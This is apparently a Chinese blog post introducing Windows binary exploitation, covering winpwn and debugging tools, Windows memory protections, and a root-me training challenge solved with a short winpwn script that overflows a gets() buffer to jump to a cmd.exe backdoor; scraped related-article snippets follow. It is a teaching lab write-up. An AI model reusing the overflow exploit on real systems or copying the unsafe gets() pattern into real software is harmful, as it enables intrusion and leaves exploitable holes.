windows pwn(一)
前言
前几天因为看CS shellcode
装了一个win10
虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn
,就顺便装了一下相关工具并且入门了一下。
工具安装
winpwn
这个和pwntools
差不多,不过可以让我们本地跑windows
的程序(pwntools
只可以本地跑linux
的)。可以通过以下命令安装:
- pip3 install winpwn
- pip3 install pefile
- pip3 install keystone-engine
- pip3 install install capstone
安装完成之后可以通过from winpwn import *
来检查一下,如果不报错那么即代表安装好了。
checksec
用来检查程序的保护机制是否开启。通过如下链接即可从github
上下载到一个现成的。
https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe
windbg
用来对程序进行调试。我推荐直接在Microsof store
里下载windbg preview
。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg
用了一下。
win_server
EX
师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:
https://github.com/Ex-Origin/win_server.git
保护机制
windows
下的保护机制感觉比linux
下多很多。
1、NX:(在windows
下应该是DEP
,可能是我这个checksec
不标准)。表示堆栈不可执行。
2、Canary:(在windows
下应该是GS
,可能是我这个checksec
不标准)。用来检测缓冲区溢出,与linux
下的canary
一样。
3、ASLR:地址随机化,使得exe,dll
的地址不固定。
4、Dynamic Base:程序编译时可通过/DYNAMICBASE
编译选项指示程序是否利用ASLR
的功能。
5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?
6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows
操作系统对错误或异常提供的处理技术。为Windows
的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。
7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。
8、Force Integrity:强制签名保护。
9、Control Flow Guard:控制Flow
防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。
10、Isolation:隔离保护,默认会开启。
11、Authenticode:签名保护。
例题
这里我们拿root-me PE32 - Stack buffer overflow basic来练手。
程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#define DEFAULT_LEN 16
void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
}
int main(void)
{
char buff[DEFAULT_LEN] = {0};
int i;
gets(buff);
for (i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}
那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwn写exp即可。
from winpwn import *
context.log_level='debug'
context.arch='i386'
r = process('./ch72.exe')
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')
r.interactive()
调试方法
windows pwn
的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。
首先用win server把我们要调试的程序映射到某一端口上,如下:
接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。
同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布
参考链接
https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn
https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/
windows pwn(一)的更多相关文章
- 我也来学着写写WINDOWS服务-解析xml抓取数据并插入数据库
项目告一段落,快到一年时间开发了两个系统,一个客户已经在试用,一个进入客户测试阶段,中间突然被项目经理(更喜欢叫他W工)分派一个每隔两小时用windows服务去抓取客户提供的外网xml,解析该xml, ...
- Windows服务框架与服务的编写
从NT内核开始,服务程序已经变为一种非常重要的系统进程,一般的驻守进程和普通的程序必须在桌面登录的情况下才能运行,而许多系统的基础程序必须在用户登录桌面之前就要运行起来,而利用服务,可以很方便的实现这 ...
- 我的pwn笔记
0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #! ...
- Pwn入坑指南
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...
- Windows Shell远程执行代码漏洞((CVE-2018-8414)复现
0x00 SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- pwn学习日记Day5 基础知识积累
知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
随机推荐
- Leanote蚂蚁笔记-私人云笔记服务器搭建
title: Leanote蚂蚁笔记-私人云笔记服务器搭建 date: 2020-02-22 21:53:24 categories: - [IT,技术] - [IT,软件,程序] - [IT,软件, ...
- windows简单使用Jenkins遇到的一些坑
简言: 闲来没事干,最近身边的小伙伴都在谈论CI/CD.自动化等等,耳朵都磨出茧了.这不闲着研究下jenkins.下面将自己遇到的一些坑分享出来. 首先介绍下Jenkins.Jenkins 是一个基于 ...
- Vulnhub之Credit_Card_Scammers靶场渗透
前言 一次"夺旗"练习,涵盖了许多不同的技巧. 背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达.我们发现了一个诈骗网站,我们认为该网站正在 ...
- [深度学习] imgaug库使用笔记
imgaug是一款非常有用的python图像增强库,非常值得推荐应用于深度学习图像增强.其包含许多增强技术,支持图像分类,目标检测,语义分割,热图.关键点检测等一系列任务的图像增强.本文主要介绍img ...
- linux下redis_单机版_主从_集群_部署文档
一 单机版部署 1.1 Redis下载地址 http://download.redis.io/releases/ 本次部署版本:3.2.8 当前最新版本:5.0.5 1.2 安装 部署路径说明规划 / ...
- 线性构造treap
数据结构 线性构造treap treap的线性构造可以使复杂度锐减到\(O(n)\),很优秀 treap的本质就是小根堆+二叉搜索树,即保证val满足搜索树的同时,维护rad的小根堆. 现在我们先把数 ...
- Potree 003 基于Potree Desktop创建自定义工程
1.第三方js库 第三方库js库选择dojo,其官网地址为https://dojotoolkit.org/,git地址为https://github.com/dojo/dojo,demo地址为http ...
- Random概述和基本使用-Random生成指定范围的随机数
Random概述和基本使用 什么是Random类 此类的实例用于生成伪随机数. 例如,以下代码使用户能够得到一个随机数: Random r = new Random(); int i = r.next ...
- 结对项目总结 -- 基于Qt开发的win10桌面应用
担任角色 在这次结对项目中,由于采用了我的个人项目作为参考,所以我继续担任后端开发的角色. 开发环境 前端采用Qt Creator4.13.2 (Community) 后端采用C++ 如何复用个人项目 ...
- RabbitMQ消息队列入门及解决常见问题
RabbitMQ消息队列 同步通讯和异步通讯 微服务间通讯有同步和异步两种方式: 同步通讯:就像打电话,需要实时响应. 异步通讯:就像发邮件,不需要马上回复. 两种方式各有优劣,打电话可以立即得到响应 ...